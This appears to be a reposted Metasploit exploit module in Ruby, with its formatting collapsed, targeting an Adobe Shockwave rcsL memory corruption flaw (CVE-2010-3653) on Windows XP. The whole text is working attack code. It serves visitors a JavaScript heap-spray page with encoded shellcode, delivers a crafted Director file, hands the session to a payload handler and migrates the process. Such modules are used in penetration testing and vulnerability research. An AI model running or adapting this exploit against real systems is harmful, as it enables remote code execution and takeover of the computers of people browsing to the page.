Adobe Shockwave Player – rcsL Memory Corruption (Metasploit)
## # $Id: adobe_shockwave_rcsl_corruption.rb 10784 2010-10-22 12:21:30Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Shockwave rcsL Memory Corruption', 'Description' => %q{ This module exploits a weakness in the Adobe Shockwave player's handling of Director movies (.DIR). A memory corruption vulnerability occurs through an undocumented rcsL chunk. This vulnerability was discovered by http://www.abysssec.com. }, 'License' => MSF_LICENSE, 'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>'], 'Version' => '$Revision: 10784 $', 'References' => [ [ 'CVE', '2010-3653'], [ 'OSVDB', '68803'], [ 'URL', 'https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15296.zip' ], ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d", }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'Ret' => 0x0a0a0a0a } ], # tested on XP SP2 and XP SP3 ], 'DisclosureDate' => 'Oct 21 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end # # When exploit is called, load the exploit.dir file # def exploit path = File.join( Msf::Config.install_root, "data", "exploits", "shockwave_rcsl.dir" ) fd = File.open( path, "rb" ) @dir_data = fd.read(fd.stat.size) fd.close super end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things dirname = rand_text_alpha(rand(20)) shellcode_rand = rand_text_alpha(rand(20)) # payload encoding shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # build the exploit content = %Q| <html> <head> <title>msf</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <script> #{shellcode_rand} = unescape('#{shellcode}'); nops=unescape('%u0a0a%u0a0a'); headersize =20; slackspace= headersize + #{shellcode_rand}.length; while(nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x200000) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= block + #{shellcode_rand}; </script> </head> <body bgColor="#FFFFFF"> <object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593" ID=Abysssec width=600 height=430 VIEWASTEXT> <param name=src value="#{dirname}.DIR"> <param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' "> <param name=swStretchStyle value=fill> <param name=PlayerVersion value=11> <PARAM NAME=bgColor VALUE=#FFFFFF> <embed src="https://www.exploit-db.com/exploits/16594/#{dirname}.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' " swStretchStyle=fill type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed> </object> </body> </html> | # Transmit the response to the client path = request.uri if (path =~ /\.DIR/i) print_status("Sending exploit DIR to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, @dir_data, { 'Content-Type' => 'application/octet-stream' }) else print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) end # Handle the payload handler(cli) end end |